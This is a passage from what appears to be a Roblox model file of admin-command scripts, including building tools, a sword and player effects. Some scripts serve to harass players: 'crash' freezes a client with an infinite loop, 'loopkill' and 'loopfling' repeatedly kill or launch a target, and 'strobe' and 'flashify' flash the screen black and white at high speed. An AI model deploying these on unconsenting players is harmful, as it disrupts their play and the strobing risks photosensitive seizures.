msh.Scale = Vector3.new(1.8, 3.5, 0.1)

local motor1 = Instance.new(&quot;Motor&quot;, p)
motor1.Part0 = p
motor1.Part1 = torso
motor1.MaxVelocity = .01
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
local wave = false
repeat wait(1/44)
local ang = 0.1
local oldmag = torso.Velocity.magnitude
local mv = .002
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
motor1.DesiredAngle = -ang
if motor1.CurrentAngle &lt; -.2 and motor1.DesiredAngle &gt; -.2 then motor1.MaxVelocity = .04 end
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  &gt;= (torso.Velocity.magnitude/10) + 1
if torso.Velocity.magnitude &lt; .1 then wait(.1) end
until not p or p.Parent ~= torso.Parent
script:Remove()</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX8">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">LightEdit</string>
					<ProtectedString name="Source">repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
game.Lighting.Ambient = color
pcall(function() game.Lighting.FogColor = color end)
until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX9">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">LightEdit1</string>
					<ProtectedString name="Source">repeat wait(.1) 
game.Lighting.Ambient = Color3.new(1,1,1)
pcall(function() game.Lighting.FogColor = Color3.new(1,1,1) end)
game.Lighting.Brightness = 1
game.Lighting.TimeOfDay = 14
wait(.1) 
game.Lighting.Ambient = Color3.new(0,0,0)
pcall(function() game.Lighting.FogColor = Color3.new(0,0,0) end)
game.Lighting.Brightness = 0
game.Lighting.TimeOfDay = 0
until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX10">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SeizureBase</string>
					<ProtectedString name="Source">repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX11">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">flashify</string>
					<ProtectedString name="Source">repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:isA(&quot;BasePart&quot;) and (v.Name ~= &quot;Head&quot; or not v.Parent:findFirstChild(&quot;NameTag&quot;, true)) then v.BrickColor = BrickColor.new(&quot;Institutional white&quot;) v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild(&quot;NameTag&quot;) then v.Head.BrickColor = BrickColor.new(&quot;Institutional white&quot;) v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:isA(&quot;BasePart&quot;) and (v.Name ~= &quot;Head&quot; or not v.Parent:findFirstChild(&quot;NameTag&quot;, true)) then v.BrickColor = BrickColor.new(&quot;Really black&quot;) v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild(&quot;NameTag&quot;) then v.Head.BrickColor = BrickColor.new(&quot;Really black&quot;) v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX12">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">trippy</string>
					<ProtectedString name="Source">repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX13">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">strobe</string>
					<ProtectedString name="Source">repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX14">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">loopheal</string>
					<ProtectedString name="Source">local plr = script:findFirstChild(&quot;Value&quot;).Value
repeat wait()
coroutine.resume(coroutine.create(function()
if plr and plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;) then 
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
plr.Character.Humanoid.Changed:connect(function() plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
end
end))
until nil</ProtectedString>
				</Properties>
				<Item class="ObjectValue" referent="RBX15">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">Value</string>
						<Ref name="Value">null</Ref>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX16">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">loopfling</string>
					<ProtectedString name="Source">local plr = script:FindFirstChild(&quot;Value&quot;).Value
repeat
coroutine.resume(coroutine.create(function()
if plr and plr.Character and plr.Character:findFirstChild(&quot;Torso&quot;) and plr.Character:findFirstChild(&quot;Humanoid&quot;) then 
local xran local zran
repeat xran = math.random(-9999,9999) until math.abs(xran) &gt;= 5555
repeat zran = math.random(-9999,9999) until math.abs(zran) &gt;= 5555
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
local frc = Instance.new(&quot;BodyForce&quot;, plr.Character.Torso) frc.Name = &quot;BFRC&quot; frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service(&quot;Debris&quot;):AddItem(frc,.1)
end
end))
wait(2) until nil</ProtectedString>
				</Properties>
				<Item class="ObjectValue" referent="RBX17">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">Value</string>
						<Ref name="Value">null</Ref>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX18">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">crash</string>
					<ProtectedString name="Source">repeat until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX19">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">capescript</string>
					<ProtectedString name="Source">local plr = game.Players.LocalPlayer
repeat wait() until plr and plr.Character and plr.Character:findFirstChild(&quot;Torso&quot;)
local torso = plr.Character.Torso
local p = Instance.new(&quot;Part&quot;, torso.Parent) p.Name = &quot;EpicCape&quot; p.Anchored = false
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0
local col = script:findFirstChild(&quot;color&quot;).Value
local dec = script:findFirstChild(&quot;decal&quot;).Value
if col ~= &quot;&quot; then
if col == &quot;random&quot; then
p.BrickColor = BrickColor.random()
else
p.BrickColor = BrickColor.new(col)
end
else
p.BrickColor = torso.BrickColor
end
--pcall(function() p.formFactor = &quot;Custom&quot; end)
--p.Size = Vector3.new(.2,.2,.2)
pcall(function() p.formFactor = &quot;Symmetric&quot; end)
p.Size = Vector3.new(1,1,1)

--local msh = Instance.new(&quot;BlockMesh&quot;, p) msh.Scale = Vector3.new(9,17.5,.5)
local msh = Instance.new(&quot;BlockMesh&quot;, p) msh.Scale = Vector3.new(1.8, 3.5, 0.1)


if dec ~= &quot;&quot; then
local decalInst = Instance.new(&quot;Decal&quot;, p)
decalInst.Face = Enum.NormalId.Back
decalInst.Texture = dec
end
local motor1 = Instance.new(&quot;Motor&quot;, p)
motor1.Part0 = p
motor1.Part1 = torso
motor1.MaxVelocity = .01
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
local wave = false
repeat wait(1/44)
local ang = 0.1
local oldmag = torso.Velocity.magnitude
local mv = .002
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
motor1.DesiredAngle = -ang
if motor1.CurrentAngle &lt; -.2 and motor1.DesiredAngle &gt; -.2 then motor1.MaxVelocity = .04 end
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle
or math.abs(torso.Velocity.magnitude - oldmag) &gt;= (torso.Velocity.magnitude/10) + 1
if torso.Velocity.magnitude &lt; .1 then wait(.1) end
until not p or p.Parent ~= torso.Parent
script:Remove()
</ProtectedString>
				</Properties>
				<Item class="StringValue" referent="RBX20">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">color</string>
						<string name="Value"></string>
					</Properties>
				</Item>
				<Item class="StringValue" referent="RBX21">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">decal</string>
						<string name="Value"></string>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX22">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">resize</string>
					<ProtectedString name="Source">repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild(&quot;PlayerGui&quot;)
local sb
local hs
local pdist

script.Parent.Selected:connect(function(mouse)
if not mouse then return end
sb = Instance.new(&quot;SelectionBox&quot;, game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new(&quot;Bright blue&quot;) sb.Adornee = nil
hs = Instance.new(&quot;Handles&quot;, game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new(&quot;Bright blue&quot;) hs.Adornee = nil
mouse.Button1Down:connect(function() if not mouse.Target then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) &gt;= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
hs.MouseButton1Down:connect(function() pdist = 0 end)
end)

script.Parent.Deselected:connect(function() sb:Remove() hs:Remove() end)</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX23">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">loopkill</string>
					<ProtectedString name="Source">local plr = script.Value.Value
for i = 1, 9999 do 
repeat wait() until plr and plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;) and plr.Character.Humanoid.Health ~= 0
coroutine.resume(coroutine.create(function()
if plr and plr.Character then plr.Character:BreakJoints() end
end))
end</ProtectedString>
				</Properties>
				<Item class="ObjectValue" referent="RBX24">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">Value</string>
						<Ref name="Value">null</Ref>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX25">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">rainbowify</string>
					<ProtectedString name="Source">repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:isA(&quot;BasePart&quot;) and (v.Name ~= &quot;Head&quot; or not v.Parent:findFirstChild(&quot;NameTag&quot;, true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild(&quot;NameTag&quot;) then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="Tool" referent="RBX26">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Enabled">true</bool>
					<CoordinateFrame name="Grip">
						<X>0</X>
						<Y>0</Y>
						<Z>-1.5</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>1</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<string name="Name">Sword</string>
					<Content name="TextureId"><url>rbxasset://Textures/Sword128.png</url></Content>
				</Properties>
				<Item class="Script" referent="RBX27">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">SwordScript</string>
						<ProtectedString name="Source">-------- OMG HAX
r = game:service(&quot;RunService&quot;)


local damage = 5


local slash_damage = 10
local lunge_damage = 20

sword = script.Parent.Handle
Tool = script.Parent


local SlashSound = Instance.new(&quot;Sound&quot;)
SlashSound.SoundId = &quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent = sword
SlashSound.Volume = .3

local LungeSound = Instance.new(&quot;Sound&quot;)
LungeSound.SoundId = &quot;rbxasset://sounds\\swordlunge.wav&quot;
LungeSound.Parent = sword
LungeSound.Volume = .4

local UnsheathSound = Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId = &quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent = sword
UnsheathSound.Volume = .4


function blow(hit)
	local humanoid = hit.Parent:findFirstChild(&quot;Humanoid&quot;)
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if tool held by a character
	if humanoid~=nil and humanoid ~= hum and hum ~= nil then
		-- final check, make sure sword is in-hand

		local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
		if (right_arm ~= nil) then
			local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
			if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
				tagHumanoid(humanoid, vPlayer)
				humanoid:TakeDamage(damage)		
			end
		end


	end
end


function tagHumanoid(humanoid, player)
	local creator_tag = Instance.new(&quot;ObjectValue&quot;)
	creator_tag.Value = player
	creator_tag.Name = &quot;creator&quot;
	creator_tag.Parent = humanoid

	game.Debris:AddItem(creator_tag, 1)

	if (humanoid:FindFirstChild(&quot;lol&quot;) == nil) then
		local lol_tag = Instance.new(&quot;ObjectValue&quot;)
		lol_tag.Value = player
		lol_tag.Name = &quot;lol&quot;
		lol_tag.Parent = humanoid

		game.Debris:AddItem(lol_tag, 1)
	end
end


function attack()
	damage = slash_damage
	SlashSound:play()
	local anim = Instance.new(&quot;StringValue&quot;)
	anim.Name = &quot;toolanim&quot;
	anim.Value = &quot;Slash&quot;
	anim.Parent = Tool
end

function lunge()
	damage = lunge_damage

	LungeSound:play()

	local anim = Instance.new(&quot;StringValue&quot;)
	anim.Name = &quot;toolanim&quot;
	anim.Value = &quot;Lunge&quot;
	anim.Parent = Tool
	
	
	force = Instance.new(&quot;BodyVelocity&quot;)
	force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
	force.Parent = Tool.Parent.Torso
	wait(.25)
	swordOut()
	wait(.25)
	force.Parent = nil
	wait(.5)
	swordUp()

	damage = slash_damage
end

function swordUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end

function swordAcross()
	-- parry
end


Tool.Enabled = true
local last_attack = 0
function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print(&quot;Humanoid not found&quot;)
		return 
	end

	t = r.Stepped:wait()

	if (t - last_attack &lt; .2) then
		lunge()
	else
		attack()
	end

	last_attack = t

	--wait(.5)

	Tool.Enabled = true
end


function onEquipped()
	UnsheathSound:play()
end


script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)


connection = sword.Touched:connect(blow)


</ProtectedString>
					</Properties>
				</Item>
				<Item class="LocalScript" referent="RBX28">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Local Gui</string>
						<ProtectedString name="Source">local Tool = script.Parent;

enabled = true
function onButton1Down(mouse)
	if not enabled then
		return
	end

	enabled = false
	mouse.Icon = &quot;rbxasset://textures\\GunWaitCursor.png&quot;

	wait(.5)
	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	enabled = true

end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end


Tool.Equipped:connect(onEquippedLocal)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX29">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>rbxasset://fonts/sword.mesh</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Content name="TextureId"><url>rbxasset://textures/SwordTexture.png</url></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Tool" referent="RBX30">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Enabled">true</bool>
					<CoordinateFrame name="Grip">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Rotate</string>
					<Content name="TextureId"><null></null></Content>
				</Properties>
				<Item class="LocalScript" referent="RBX31">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Rotate</string>
						<ProtectedString name="Source">local Tool = script.Parent
local Player = game.Players.LocalPlayer
local MainGui
local RotateGui
local Selectbox = Instance.new(&quot;SelectionBox&quot;)
Selectbox.Name = &quot;RotateSelectionBox&quot;
local Lasso = Instance.new(&quot;SelectionPartLasso&quot;)
Lasso.Name = &quot;RotateLasso&quot;
local Handles = Instance.new(&quot;ArcHandles&quot;)
Handles.Name = &quot;RotateHandles&quot;

events = {}
undo_part = {}
undo_cframe = {}
increment = 1
selection = nil
lastCFrame = nil

function round(number,by)
	return math.floor((number/by)+0.5) * by
end

function AngleFromAxis(axis,rA)
	rA = math.rad(round(math.deg(rA),increment))
	return axis==Enum.Axis.X and {rA,0,0}
	or axis==Enum.Axis.Y and {0,rA,0}
	or axis==Enum.Axis.Z and {0,0,rA}
end

function IsSelectable(part,hit)
	if part and Player.Character:FindFirstChild(&quot;Head&quot;) then
		if (hit - Player.Character.Head.Position).magnitude &lt; 60 then return true end
	end
	return false
end

function UndoRotate()
	if #undo_part &gt; 0 then
		local part = undo_part[#undo_part]
		local cframe = undo_cframe[#undo_cframe]
		part.CFrame = cframe
		table.remove(undo_part,#undo_part)
		table.remove(undo_cframe,#undo_cframe)
	end
end

function ResetAngles()
	if selection then
		lastCFrame = selection.CFrame
		selection.CFrame = CFrame.new(selection.CFrame.p)
		if lastCFrame ~= selection.CFrame then
			table.insert(undo_part,selection)
			table.insert(undo_cframe,lastCFrame)
		end
	end
end

local e = true
function SetIncrement(p)
	if p == &quot;Text&quot; then
		if not e then return end
		e = false
		local n = tonumber(RotateGui.Increment.Field.Text) or 1
		n = n &lt; 1 and 1 or n &gt; 360 and 360 or n
		increment = n
		RotateGui.Increment.Field.Text = n
		e = true
	end
end

function SetupGUI()
	MainGui = Player.PlayerGui:FindFirstChild(&quot;BuildGUI&quot;)
	if not MainGui then
		MainGui = Instance.new(&quot;ScreenGui&quot;)
		MainGui.Name = &quot;BuildGUI&quot;
		MainGui.Parent = Player.PlayerGui
	end

	RotateGui = RotateGui or MainGui:FindFirstChild(&quot;RotateTool&quot;)
	if not RotateGui then
		RotateGui = Instance.new(&quot;Frame&quot;)
		RotateGui.Name = &quot;RotateTool&quot;
		RotateGui.BackgroundColor3 = Color3.new(51/255,153/255,1)
		RotateGui.BorderColor3 = Color3.new(0,0,0)
		RotateGui.Position = UDim2.new(0,0,1,-125)
		RotateGui.Size = UDim2.new(0,225,0,60)

		local item = Instance.new(&quot;Frame&quot;)
		item.Name = &quot;Increment&quot;
		item.BackgroundColor3 = Color3.new(1,147/255,25/255)
		item.BorderColor3 = Color3.new(0,0,0)
		item.Position = UDim2.new(0,0,0.5,0)
		item.Size = UDim2.new(0.75,0,0.5,0)
		item.Parent = RotateGui
		local subitem = Instance.new(&quot;TextLabel&quot;)
		subitem.Name = &quot;Label&quot;
		subitem.Text = &quot;Increment (degrees)&quot;
		subitem.TextWrap = true
		subitem.BackgroundColor3 = Color3.new(1,147/255,25/255)
		subitem.BorderColor3 = Color3.new(0,0,0)
		subitem.TextColor3 = Color3.new(0,0,0)
		subitem.Position = UDim2.new(0,0,0,0)
		subitem.Size = UDim2.new(0.5,0,1,0)
		subitem.Parent = item
		local subitem = Instance.new(&quot;TextBox&quot;)
		subitem.Name = &quot;Field&quot;
		subitem.Text = &quot;1&quot;
		subitem.BackgroundColor3 = Color3.new(1,147/255,25/255)
		subitem.BorderColor3 = Color3.new(0,0,0)
		subitem.TextColor3 = Color3.new(0,0,0)
		subitem.Position = UDim2.new(0.5,0,0,0)
		subitem.Size = UDim2.new(0.5,0,1,0)
		subitem.Parent = item

		local item = Instance.new(&quot;Frame&quot;)
		item.Name = &quot;Selection&quot;
		item.BackgroundColor3 = Color3.new(51/255,153/255,1)
		item.BorderColor3 = Color3.new(0,0,0)
		item.Position = UDim2.new(0,0,0,0)
		item.Size = UDim2.new(0.75,0,0.5,0)
		item.Parent = RotateGui
		local subitem = Instance.new(&quot;TextLabel&quot;)
		subitem.Name = &quot;Label&quot;
		subitem.Text = &quot;Selection:&quot;
		subitem.TextWrap = true
		subitem.TextXAlignment = Enum.TextXAlignment.Right
		subitem.BorderSizePixel = 0
		subitem.BackgroundColor3 = Color3.new(51/255,153/255,1)
		subitem.BorderColor3 = Color3.new(0,0,0)
		subitem.TextColor3 = Color3.new(0,0,0)
		subitem.Position = UDim2.new(0,2,0,2)
		subitem.Size = UDim2.new(0.5,-4,1,-4)
		subitem.Parent = item
		local subitem = Instance.new(&quot;TextLabel&quot;)
		subitem.Name = &quot;Part&quot;
		subitem.Text = &quot;[none]&quot;
		subitem.TextWrap = true
		subitem.TextXAlignment = Enum.TextXAlignment.Left
		subitem.BorderSizePixel = 0
		subitem.BackgroundColor3 = Color3.new(51/255,153/255,1)
		subitem.BorderColor3 = Color3.new(0,0,0)
		subitem.TextColor3 = Color3.new(0,0,0)
		subitem.Position = UDim2.new(0.5,2,0,2)
		subitem.Size = UDim2.new(0.5,-4,1,-4)
		subitem.Parent = item

		local item = Instance.new(&quot;TextButton&quot;)
		item.Name = &quot;Reset&quot;
		item.Text = &quot;Reset (R)&quot;
		item.BackgroundColor3 = Color3.new(27/255, 110/255, 27/255)
		item.BorderColor3 = Color3.new(0,0,0)
		item.TextColor3 = Color3.new(0,0,0)
		item.Position = UDim2.new(0.75,0,0,0)
		item.Size = UDim2.new(0.25,0,0.5,0)
		item.Parent = RotateGui

		local item = Instance.new(&quot;TextButton&quot;)
		item.Name = &quot;Undo&quot;
		item.Text = &quot;Undo (F)&quot;
		item.BackgroundColor3 = Color3.new(221/255,203/255,0)
		item.BorderColor3 = Color3.new(0,0,0)
		item.TextColor3 = Color3.new(0,0,0)
		item.Position = UDim2.new(0.75,0,0.5,0)
		item.Size = UDim2.new(0.25,0,0.5,0)
		item.Parent = RotateGui
	end
	RotateGui.Parent = MainGui
	Selectbox.Parent = Player.PlayerGui
	Selectbox.Color = BrickColor.new(&quot;Bright blue&quot;)
	Handles.Parent = Player.PlayerGui
	Handles.Color = BrickColor.new(&quot;Bright orange&quot;)
	if Player.Character:FindFirstChild(&quot;Humanoid&quot;) then
		Lasso.Humanoid = Player.Character.Humanoid
		Lasso.Parent = Player.PlayerGui
		Lasso.Color = BrickColor.new(&quot;Bright blue&quot;)
	end
	events[&quot;Undo&quot;] = RotateGui.Undo.MouseButton1Click:connect(UndoRotate)
	events[&quot;Reset&quot;] = RotateGui.Reset.MouseButton1Click:connect(ResetAngles)
	events[&quot;Inc&quot;] = RotateGui.Increment.Field.Changed:connect(SetIncrement)
end

to_undo_part = nil
to_undo_cframe = nil

Tool.Equipped:connect(function(mouse)
	SetupGUI()

	RotateGui.Increment.Field.Text = tostring(increment)

	events[&quot;MouseDown&quot;] = mouse.Button1Down:connect(function()
		if IsSelectable(mouse.Target,mouse.Hit.p) then
			selection = mouse.Target
			Selectbox.Adornee = selection
			Handles.Adornee = selection
			Lasso.Part = selection

			RotateGui.Selection.Part.Text = selection.Name .. &quot; (&quot; .. selection.className .. &quot;)&quot;
			RotateGui.Reset.BackgroundColor3 = Color3.new(47/255, 208/255, 47/255)
		else
			Selectbox.Adornee = nil
			Handles.Adornee = nil
			Lasso.Part = nil
			selection = nil

			RotateGui.Selection.Part.Text = &quot;[none]&quot;
			RotateGui.Reset.BackgroundColor3 = Color3.new(27/255, 110/255, 27/255)
		end
	end)

	events[&quot;KeyDown&quot;] = mouse.KeyDown:connect(function(key)
		key = key:lower()
		if key == &quot;r&quot; then	-- reset hotkey
			ResetAngles()
		elseif key == &quot;f&quot; then	-- undo hotkey
			UndoRotate()
		end
	end)

	events[&quot;MouseUp&quot;] = mouse.Button1Up:connect(function()
		if to_undo_part and to_undo_cframe then
			if to_undo_part ~= selection or to_undo_cframe ~= selection.CFrame then
				table.insert(undo_part,to_undo_part)
				table.insert(undo_cframe,to_undo_cframe)
			end
		end
		to_undo_part = nil
		to_undo_cframe = nil
		Handles.Axes = Axes.new(Enum.Axis.X,Enum.Axis.Y,Enum.Axis.Z)
	end)

	events[&quot;HandleMouseDown&quot;] = Handles.MouseButton1Down:connect(function(axis)
		if selection then
			lastCFrame = selection.CFrame
			to_undo_part = selection
			to_undo_cframe = lastCFrame
			Handles.Axes = Axes.new(axis)
		end
	end)

	events[&quot;HandleMouseDrag&quot;] = Handles.MouseDrag:connect(function(axis, relativeAngle, deltaRadius)
		if selection then
			selection.CFrame = lastCFrame * CFrame.Angles(unpack(AngleFromAxis(axis,relativeAngle)))
		end
	end)
end)

Tool.Unequipped:connect(function()
	RotateGui.Parent = nil
	Selectbox.Adornee = nil
	Selectbox.Parent = nil
	Handles.Adornee = nil
	Handles.Parent = nil
	Lasso.Part = nil
	Lasso.Parent = nil

	selection = nil
	to_undo_part = nil
	to_undo_cframe = nil

	RotateGui.Selection.Part.Text = &quot;[none]&quot;
	RotateGui.Reset.BackgroundColor3 = Color3.new(27/255, 110/255, 27/255)
	Handles.Axes = Axes.new(Enum.Axis.X,Enum.Axis.Y,Enum.Axis.Z)

	for i,v in pairs(undo_part) do
		undo_part[i] = nil	-- deselected the tool, so get rid of undo history
		undo_cframe[i] = nil
	end
	undo_part = {}
	undo_cframe = {}
	for ref in pairs(events) do
		events[ref]:disconnect()
		events[ref] = nil
	end
	--collectgarbage()
end)</ProtectedString>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX32">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=16171271</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.5</X>
							<Y>0.5</Y>
							<Z>0.5</Z>
						</Vector3>
						<Content name="TextureId"><url>http://www.roblox.com/asset/?id=16171265</url></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX33">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">unlock</string>
					<ProtectedString name="Source">local tool, m, conn, polling = script.Parent, nil, nil, false

local function thread(f)
